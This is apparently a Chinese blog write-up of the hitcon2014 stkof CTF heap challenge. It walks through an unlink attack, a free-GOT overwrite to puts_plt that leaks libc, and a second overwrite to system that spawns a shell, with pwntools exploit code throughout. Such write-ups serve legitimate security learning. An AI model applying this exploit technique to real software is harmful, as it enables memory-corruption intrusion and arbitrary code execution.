hitcon2014_stkof-unlink

D0wnBe@t Lv4

unlink–只有add,free,edit

题目链接

知识点

unlink修改free_got,利用puts_got,puts_plt

文章链接

题目速览

经典堆菜单

add:

  • 注意先加一,才记录地址

delete:

edit:

  • 漏洞点,未对size检查

思路分析

  • 本题目没有后门函数,所以需要我们泄露libc
  • 开启了PIE,且只有free,add,edit函数可以使用,正常的uaf通过unsortedbin泄露main_arena肯定不行了
  • 但是我们还有一个unlink,以前都是修改free_got为sysem,现在我们可以将free_got修改为puts_plt,然后调用free就相当于puts_plt,将puts_got写入chunk中,就可以得到libc地址了。
  • 然后就是正常的修改free_got为system_plt,写入/bin/sh,然后free就getshell了

gdb调试

1
2
3
4
5
6
7
8
9
10
11
12
13
s = 0x0602140
bss = s + 0x10
add(0x20) # 1 s+8
add(0x30) # 2 s+0x10
add(0x80) # 3
add(0x20) # 4

fd = bss - 0x18
bk = bss - 0x10
payload = p64(0) + p64(0x30) + p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(2,len(payload),payload)

free(3) # 2,3合并,触发unlink
  • bss中0x0602140是add函数中s的地址,也是存储chunk的地址,但是之前也说了,我们是先+1再储存chunk地址的,因此chunk1对应于s[1],也就是0x0602140+0x8
  • unlink可以使当前储存chunk的地址指向target_addr-0x18,这样改的话会出现下面情况:
1
2
3
4
s[2]- 0x18
s[0] -> 0x0
s[1] -> chunk1_user_data
s[2] -> s[2]-0x18

2.修改free_got为puts_plt,泄露libc

1
2
3
4
5
6
7
8
9
10
11
payload = flat( [ cyclic(0x10), free_got, puts_got] )
edit(2,len(payload),payload)

edit(1,0x8,p64(puts_plt))
free(2)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_address: "+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system = base + libc.dump('system')
  • 第一个payload:

修改chunk2,其实相当于修改 s-0x18地址的值,修改的是画框部分:

修改可以参考非栈上格式化字符串所说的A ->B ->C,修改A其实是修改C。

往下写0x10垃圾数据,然后填写free_got,puts_got,那么就会出现下面情况:

这里一定要记住got@plt会自动的指向plt表,也就是说,修改got表到A-B这样的地址结构的时候,会形成A->GOT@plt->plt,这样三地址结构,所以我们再次修改A地址为plt才会成功。

成功修改,然后free(2),2处存储的是puts_plt的地址。

3.修改free_got为system,然后getshell

1
2
3
4
5
edit(1,0x8,p64(system))
edit(4,0x8,b'/bin/sh\x00')

free(4)
p.interactive()
  • 没什么说的,和之前一样的。

  • 标题: hitcon2014_stkof-unlink
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-03 21:14:27
  • 更新于 : 2024-09-05 10:08:44
  • 链接: http://downbeat.top/2024/09/03/hitcon2014-stkof-unlink/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论